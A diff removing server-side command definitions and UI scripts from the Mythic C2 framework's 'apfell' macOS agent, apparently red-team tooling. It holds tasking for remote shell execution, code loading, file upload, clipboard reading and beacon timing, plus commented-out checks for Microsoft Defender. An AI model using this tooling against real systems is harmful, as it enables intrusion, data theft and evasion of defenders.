needs_admin = False
|
||||
help_cmd = "load cmd1 cmd2 cmd3..."
|
||||
description = "This loads new functions into memory via the C2 channel."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
parameters = []
|
||||
attackmapping = ["T1030", "T1129", "T1059.002", "T1620"]
|
||||
argument_class = LoadArguments
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
total_code = ""
|
||||
commands = await MythicRPC().execute("get_commands",
|
||||
payload_type_name="apfell",
|
||||
commands=task.args.get_arg("commands"),
|
||||
os="macOS")
|
||||
if commands.status == "success":
|
||||
for cmd in commands.response:
|
||||
if cmd["script_only"]:
|
||||
# trying to load a script only command, so just tell mythic to load it
|
||||
add_resp = await MythicRPC().execute("add_commands_to_callback",
|
||||
task_id=task.id,
|
||||
commands=[cmd["cmd"]])
|
||||
if add_resp.status != "success":
|
||||
await MythicRPC().execute("create_output", task_id=task.id,
|
||||
output="Failed to add command to callback: " + add_resp.error)
|
||||
else:
|
||||
try:
|
||||
code_path = self.agent_code_path / "{}.js".format(cmd["cmd"])
|
||||
total_code += open(code_path, "r").read() + "\n"
|
||||
except Exception as e:
|
||||
await MythicRPC().execute("create_output",
|
||||
task_id=task.id,
|
||||
output=f"Failed to find code for {cmd['cmd']}, skipping it\n")
|
||||
if total_code != "":
|
||||
resp = await MythicRPC().execute("create_file", task_id=task.id,
|
||||
file=base64.b64encode(total_code.encode()).decode(),
|
||||
comment="Loading the following commands: " + task.args.command_line
|
||||
)
|
||||
if resp.status == MythicStatus.Success:
|
||||
task.args.add_arg("file_id", resp.response["agent_file_id"])
|
||||
task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}"
|
||||
else:
|
||||
raise Exception("Failed to register file: " + resp.error)
|
||||
else:
|
||||
task.status = "completed"
|
||||
task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}"
|
||||
await MythicRPC().execute("create_output", task_id=task.id,
|
||||
output="Loaded commands")
|
||||
else:
|
||||
raise Exception("Failed to fetch commands from Mythic: " + commands.error)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,73 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
|
||||
class LsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
default_value=".",
|
||||
description="Path of file or folder on the current system to list",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="fetch_attributes",
|
||||
type=ParameterType.Boolean,
|
||||
default_value=False,
|
||||
description="Indicate if extended attributes should be fetched for this command",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
if "host" in dictionary:
|
||||
# then this came from the file browser
|
||||
self.add_arg("path", dictionary["path"] + "/" + dictionary["file"])
|
||||
self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
|
||||
else:
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
|
||||
class LsCommand(CommandBase):
|
||||
cmd = "ls"
|
||||
needs_admin = False
|
||||
help_cmd = "ls /path/to/file"
|
||||
description = "Get attributes about a file and display it to the user via API calls. No need for quotes and relative paths are fine"
|
||||
version = 2
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1106", "T1083"]
|
||||
supported_ui_features = ["file_browser:list"]
|
||||
argument_class = LsArguments
|
||||
browser_script = [BrowserScript(script_name="ls", author="@its_a_feature_"),
|
||||
BrowserScript(script_name="ls_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
attributes = CommandAttributes(
|
||||
spawn_and_injectable=True,
|
||||
supported_os=[SupportedOS.MacOS],
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="fileManager.attributesOfItemAtPathError, fileManager.contentsOfDirectoryAtPathError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
if task.args.has_arg("file_browser") and task.args.get_arg("file_browser"):
|
||||
host = task.callback.host
|
||||
task.display_params = host + ":" + task.args.get_arg("path")
|
||||
else:
|
||||
task.display_params = task.args.get_arg("path")
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,53 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class PlistArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="filename",
|
||||
type=ParameterType.String,
|
||||
description="full filename path of type is just read",
|
||||
parameter_group_info=[ParameterGroupInfo(group_name="read")]
|
||||
),
|
||||
CommandParameter(
|
||||
name="type",
|
||||
type=ParameterType.ChooseOne,
|
||||
choices=["readLaunchAgents", "readLaunchDaemons"],
|
||||
description="read all launchagents/launchdaemons",
|
||||
default_value="readLaunchAgents",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class PlistCommand(CommandBase):
|
||||
cmd = "plist"
|
||||
needs_admin = False
|
||||
help_cmd = "plist"
|
||||
description = "Read plists and their associated attributes for attempts to privilege escalate."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1083", "T1007"]
|
||||
argument_class = PlistArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSMutableDictionary.alloc.initWithContentsOfFile, fileManager.attributesOfItemAtPathError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,88 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ShellArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(name="command", display_name="Command", type=ParameterType.String, description="Command to run"),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a command to run")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ShellOPSEC(CommandOPSEC):
|
||||
injection_method = ""
|
||||
process_creation = "/bin/bash -c"
|
||||
authentication = ""
|
||||
|
||||
async def opsec_pre(self, task: MythicTask):
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id, table="process",
|
||||
# host=task.callback.host)
|
||||
# if processes.status == MythicStatus.Success:
|
||||
# if len(processes.response) == 0:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"This spawns {self.process_creation} and there is no process data on the host yet."
|
||||
# task.opsec_pre_message += "\nRun \"list_apps\" first to check for dangerous processes"
|
||||
# task.opsec_pre_bypass_role = "operator"
|
||||
# return
|
||||
# else:
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id, table="process",
|
||||
# name="Microsoft Defender", host=task.callback.host)
|
||||
# if len(processes.response) > 0:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"Microsoft Defender spotted on the host in running processes. Don't spawn commands this way"
|
||||
# else:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"Failed to query processes from Mythic:\n{processes}"
|
||||
pass
|
||||
|
||||
async def opsec_post(self, task: MythicTask):
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id,
|
||||
# table="process", name="Microsoft Defender", host=task.callback.host)
|
||||
# if processes.status == MythicStatus.Success:
|
||||
# if len(processes.response) > 0:
|
||||
# task.opsec_post_blocked = True
|
||||
# task.opsec_post_message = f"Microsoft Defender spotted on the host in running processes. Really, don't do this"
|
||||
# else:
|
||||
# task.opsec_post_blocked = True
|
||||
# task.opsec_post_message = f"Failed to query processes from Mythic:\n{processes}"
|
||||
pass
|
||||
|
||||
|
||||
class ShellCommand(CommandBase):
|
||||
cmd = "shell"
|
||||
needs_admin = False
|
||||
help_cmd = "shell {command}"
|
||||
description = """This runs {command} in a terminal by leveraging JXA's Application.doShellScript({command}).
|
||||
WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!"""
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1059", "T1059.004"]
|
||||
argument_class = ShellArguments
|
||||
opsec_class = ShellOPSEC
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="/bin/sh -c {}".format(task.args.get_arg("command")),
|
||||
artifact_type="Process Create",
|
||||
)
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="{}".format(task.args.get_arg("command")),
|
||||
artifact_type="Process Create",
|
||||
)
|
||||
task.display_params = task.args.get_arg("command")
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,70 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
|
||||
def positiveTime(val):
|
||||
if val < 0:
|
||||
raise ValueError("Value must be positive")
|
||||
|
||||
|
||||
class SleepArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="jitter",
|
||||
type=ParameterType.Number,
|
||||
validation_func=positiveTime,
|
||||
description="Percentage of C2's interval to use as jitter",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="interval",
|
||||
type=ParameterType.Number,
|
||||
validation_func=positiveTime,
|
||||
description="Number of seconds between checkins",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if self.command_line[0] != "{":
|
||||
pieces = self.command_line.split(" ")
|
||||
if len(pieces) == 1:
|
||||
self.add_arg("interval", pieces[0])
|
||||
self.remove_arg("jitter")
|
||||
elif len(pieces) == 2:
|
||||
self.add_arg("interval", pieces[0])
|
||||
self.add_arg("jitter", pieces[1])
|
||||
else:
|
||||
raise Exception("Wrong number of parameters, should be 1 or 2")
|
||||
else:
|
||||
self.load_args_from_json_string(self.command_line)
|
||||
|
||||
|
||||
class SleepCommand(CommandBase):
|
||||
cmd = "sleep"
|
||||
needs_admin = False
|
||||
help_cmd = "sleep [interval] [jitter]"
|
||||
description = "Modify the time between callbacks in seconds."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1029"]
|
||||
argument_class = SleepArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
task.display_params = str(task.args.get_arg("interval")) + "s"
|
||||
if task.args.get_arg("jitter") is not None:
|
||||
task.display_params += " with " + str(task.args.get_arg("jitter")) + "% jitter"
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
resp = await MythicRPC().execute("update_callback", task_id=response.task.id, sleep_info=response.response)
|
||||
|
||||
@@ -1,135 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
class UploadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file", cli_name="new-file", display_name="File to upload", type=ParameterType.File, description="Select new file to upload",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=0
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="filename", cli_name="registered-filename", display_name="Filename within Mythic", description="Supply existing filename in Mythic to upload",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=0,
|
||||
group_name="specify already uploaded file by name"
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="remote_path",
|
||||
cli_name="remote_path",
|
||||
display_name="Upload path (with filename)",
|
||||
type=ParameterType.String,
|
||||
description="Provide the path where the file will go (include new filename as well)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="specify already uploaded file by name",
|
||||
ui_position=1
|
||||
)
|
||||
]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
async def get_files(self, callback: dict) -> [str]:
|
||||
file_resp = await MythicRPC().execute("get_file", callback_id=callback["id"],
|
||||
limit_by_callback=False,
|
||||
get_contents=False,
|
||||
filename="",
|
||||
max_results=-1)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
file_names = []
|
||||
for f in file_resp.response:
|
||||
# await MythicRPC().execute("get_file_contents", agent_file_id=f["agent_file_id"])
|
||||
if f["filename"] not in file_names:
|
||||
file_names.append(f["filename"])
|
||||
return file_names
|
||||
else:
|
||||
await MythicRPC().execute("create_event_message", warning=True,
|
||||
message=f"Failed to get files: {file_resp.error}")
|
||||
return []
|
||||
|
||||
|
||||
class UploadCommand(CommandBase):
|
||||
cmd = "upload"
|
||||
needs_admin = False
|
||||
help_cmd = "upload"
|
||||
description = (
|
||||
"Upload a file to the target machine by selecting a file from your computer. "
|
||||
)
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:upload"]
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1020", "T1030", "T1041", "T1105"]
|
||||
argument_class = UploadArguments
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
try:
|
||||
groupName = task.args.get_parameter_group_name()
|
||||
if groupName == "Default":
|
||||
file_resp = await MythicRPC().execute("get_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
task_id=task.id,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
if len(file_resp.response) > 0:
|
||||
original_file_name = file_resp.response[0]["filename"]
|
||||
if len(task.args.get_arg("remote_path")) == 0:
|
||||
task.args.add_arg("remote_path", original_file_name)
|
||||
elif task.args.get_arg("remote_path")[-1] == "/":
|
||||
task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name)
|
||||
task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}"
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.error))
|
||||
elif groupName == "specify already uploaded file by name":
|
||||
# we're trying to find an already existing file and use that
|
||||
file_resp = await MythicRPC().execute("get_file", task_id=task.id,
|
||||
filename=task.args.get_arg("filename"),
|
||||
limit_by_callback=False,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
if len(file_resp.response) > 0:
|
||||
task.args.add_arg("file", file_resp.response[0]["agent_file_id"])
|
||||
task.args.remove_arg("filename")
|
||||
task.display_params = f"existing {file_resp.response[0]['filename']} to {task.args.get_arg('remote_path')}"
|
||||
elif len(file_resp.response) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.error))
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + " : " + str(e))
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,109 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
if(responses[0] === "Successfully set the clipboard"){
|
||||
return {"plaintext": responses[0]};
|
||||
}else{
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
let output_table = [];
|
||||
let all_keys = [];
|
||||
for(const [k,v] of Object.entries(data)){
|
||||
all_keys.push(k);
|
||||
if(k === "public.utf8-plain-text"){
|
||||
output_table.push({
|
||||
"key":{"plaintext": k},
|
||||
"value": {"plaintext": atob(v), "copyIcon": v.length > 0},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters": {"read": [k]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": v=== "" ? "Empty": "View",
|
||||
"type": "dictionary",
|
||||
"value": {[k]:atob(v)},
|
||||
"disabled": v === "",
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing " + k
|
||||
}}
|
||||
})
|
||||
}else{
|
||||
output_table.push({
|
||||
"key":{"plaintext": k},
|
||||
"value": {"plaintext": v, "copyIcon": v.length > 0},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters":{"read": [k]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": v=== "" ? "Empty": "View",
|
||||
"type": "dictionary",
|
||||
"value": {[k]:v},
|
||||
"disabled": v === "",
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing " + k
|
||||
}}
|
||||
})
|
||||
}
|
||||
}
|
||||
output_table.push({
|
||||
"key":{"plaintext": "Fetch All Clipboard Data"},
|
||||
"value": {"plaintext": ""},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch All Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters": {"read": ["*"]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": "View",
|
||||
"type": "dictionary",
|
||||
"value": {},
|
||||
"disabled": true,
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing "
|
||||
}}
|
||||
})
|
||||
return {
|
||||
"table": [
|
||||
{
|
||||
"headers": [
|
||||
{"plaintext": "fetch", "type": "button", "width": 150, "disableSort": true},
|
||||
{"plaintext": "view", "type": "button", "width": 100, "disableSort": true},
|
||||
{"plaintext": "key", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "value", "type": "string", "fillWidth": true},
|
||||
|
||||
|
||||
],
|
||||
"rows": output_table,
|
||||
"title": "Clipboard Data"
|
||||
}
|
||||
]
|
||||
}
|
||||
}catch(error){
|
||||
console.log(error);
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No output from command"};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."};
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
function(task, responses){
|
||||
console.log(task)
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
return {"download":[{
|
||||
"agent_file_id": data["agent_file_id"],
|
||||
"variant": "contained",
|
||||
"name": "Download file"
|
||||
}]};
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
|
||||
}else if(task.status === "processed"){
|
||||
if(responses.length > 0){
|
||||
const task_data = JSON.parse(responses[0]);
|
||||
return {"plaintext": "Downloading file with " + task_data["total_chunks"] + " total chunks..."};
|
||||
}
|
||||
return {"plaintext": "No data yet..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "No response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
let output_table = [];
|
||||
for(let i = 0; i < data.length; i++){
|
||||
output_table.push({
|
||||
"name":{"plaintext": data[i]["name"]},
|
||||
"pid": {"plaintext": data[i]["process_id"]},
|
||||
"bundle": {"plaintext": data[i]["bundle"], "copyIcon": true},
|
||||
"arch": {"plaintext": data[i]["architecture"]},
|
||||
"rowStyle": {"backgroundColor": data[i]["frontMost"] ? "mediumpurple": ""},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View Paths",
|
||||
"type": "dictionary",
|
||||
"value": {
|
||||
"bundleURL": data[i]["bundleURL"],
|
||||
"bin_path": data[i]["bin_path"],
|
||||
},
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Value",
|
||||
"title": "Viewing Paths"
|
||||
},
|
||||
{
|
||||
"name": "entitlements",
|
||||
"type": "task",
|
||||
"ui_feature": "list_entitlements:list",
|
||||
"parameters": data[i]["process_id"].toString()
|
||||
}
|
||||
]
|
||||
}},
|
||||
})
|
||||
}
|
||||
return {
|
||||
"table": [
|
||||
{
|
||||
"headers": [
|
||||
{"plaintext": "pid", "type": "number", "width": 100},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "bundle", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "arch", "type": "string", "width": 100},
|
||||
{"plaintext": "actions", "type": "button", "width": 100},
|
||||
],
|
||||
"rows": output_table,
|
||||
"title": "Process Data"
|
||||
}
|
||||
]
|
||||
}
|
||||
}catch(error){
|
||||
console.log(error);
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No output from command"};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."};
|
||||
}
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
|
||||
let headers = [
|
||||
{"plaintext": "pid", "type": "number", "width": 100},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "bundle", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "entitlements", "type": "button", "width": 200}];
|
||||
let data = "";
|
||||
try{
|
||||
data = JSON.parse(responses[0]);
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
let rows = [];
|
||||
for(let i = 0; i < data.length; i++){
|
||||
let row = {
|
||||
"name": {"plaintext": data[i]["name"]},
|
||||
"pid": {"plaintext": data[i]["pid"]},
|
||||
"bundle": {"plaintext": data[i]["bundle"], "copyIcon": true},
|
||||
"entitlements": {"button": {
|
||||
"name": "",
|
||||
"startIcon": "list",
|
||||
"type": "dictionary",
|
||||
"value": data[i]["entitlements"],
|
||||
"disabled": Object.keys(data[i]["entitlements"]).length === 0,
|
||||
"leftColumnTitle": "Entitlements",
|
||||
"rightColumnTitle": "Value",
|
||||
"title": "Viewing Entitlements"
|
||||
}},
|
||||
};
|
||||
rows.push(row);
|
||||
}
|
||||
return {"table":[{
|
||||
"headers": headers,
|
||||
"rows": rows,
|
||||
"title": "Process Entitlements"
|
||||
}]};
|
||||
}else{
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}else if(task.status === "processed"){
|
||||
// this means we're still downloading
|
||||
return {"plaintext": "Only have partial data so far..."}
|
||||
}else{
|
||||
// this means we shouldn't have any output
|
||||
return {"plaintext": "Not response yet from agent..."}
|
||||
}
|
||||
}
|
||||
@@ -1,143 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed && responses.length > 0){
|
||||
let data = "";
|
||||
try{
|
||||
data = JSON.parse(responses[0]);
|
||||
}catch(error){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
let ls_path = "";
|
||||
if(data["parent_path"] === "/"){
|
||||
ls_path = data["parent_path"] + data["name"];
|
||||
}else{
|
||||
ls_path = data["parent_path"] + "/" + data["name"];
|
||||
}
|
||||
let headers = [
|
||||
{"plaintext": "actions", "type": "button", "width": 100, "disableSort": true},
|
||||
{"plaintext": "size", "type": "size", "width": 200},
|
||||
{"plaintext": "name", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "owner", "type": "string", "width": 300},
|
||||
{"plaintext": "group", "type": "string", "width": 300},
|
||||
{"plaintext": "posix", "type": "string", "width": 100, "disableSort": true},
|
||||
|
||||
];
|
||||
let rows = [{
|
||||
"rowStyle":{},
|
||||
"name": {"plaintext": data["name"], "startIcon": data["is_file"] ? "file": "folder"},
|
||||
"size": {"plaintext": data["size"]},
|
||||
"owner": {"plaintext": data["permissions"]["owner"]},
|
||||
"group": {"plaintext": data["permissions"]["group"]},
|
||||
"posix": {"plaintext": data["permissions"]["posix"]},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View XATTRs",
|
||||
"type": "dictionary",
|
||||
"value": data["permissions"],
|
||||
"leftColumnTitle": "XATTR",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing XATTRs"
|
||||
},
|
||||
{
|
||||
"name": "Get Code Signatures",
|
||||
"type": "task",
|
||||
"ui_feature": "code_signatures:list",
|
||||
"parameters": {"path": ls_path},
|
||||
},
|
||||
{
|
||||
"name": "LS Path",
|
||||
"type": "task",
|
||||
"ui_feature": "file_browser:list",
|
||||
"parameters": ls_path
|
||||
},
|
||||
{
|
||||
"name": "Download File",
|
||||
"type": "task",
|
||||
"disabled": !data["is_file"],
|
||||
"ui_feature": "file_browser:download",
|
||||
"parameters": ls_path,
|
||||
"startIcon": "download"
|
||||
}
|
||||
]
|
||||
}}
|
||||
}];
|
||||
for(let i = 0; i < data["files"].length; i++){
|
||||
let ls_path = "";
|
||||
if(data["parent_path"] === "/"){
|
||||
ls_path = data["parent_path"] + data["name"] + "/" + data["files"][i]["name"];
|
||||
}else{
|
||||
ls_path = data["parent_path"] + "/" + data["name"] + "/" + data["files"][i]["name"];
|
||||
}
|
||||
let row = {
|
||||
"rowStyle": {},
|
||||
"name": {"plaintext": data["files"][i]["name"], "startIcon": data["files"][i]["is_file"] ? "file": "folder"},
|
||||
"size": {"plaintext": data["files"][i]["size"]},
|
||||
"owner": {"plaintext": data["files"][i]["permissions"]["owner"]},
|
||||
"group": {"plaintext": data["files"][i]["permissions"]["group"]},
|
||||
"posix": {"plaintext": data["files"][i]["permissions"]["posix"],
|
||||
"cellStyle": {
|
||||
|
||||
}
|
||||
},
|
||||
"actions": {"button": {
|
||||
"name": "Actions",
|
||||
"type": "menu",
|
||||
"value": [
|
||||
{
|
||||
"name": "View XATTRs",
|
||||
"type": "dictionary",
|
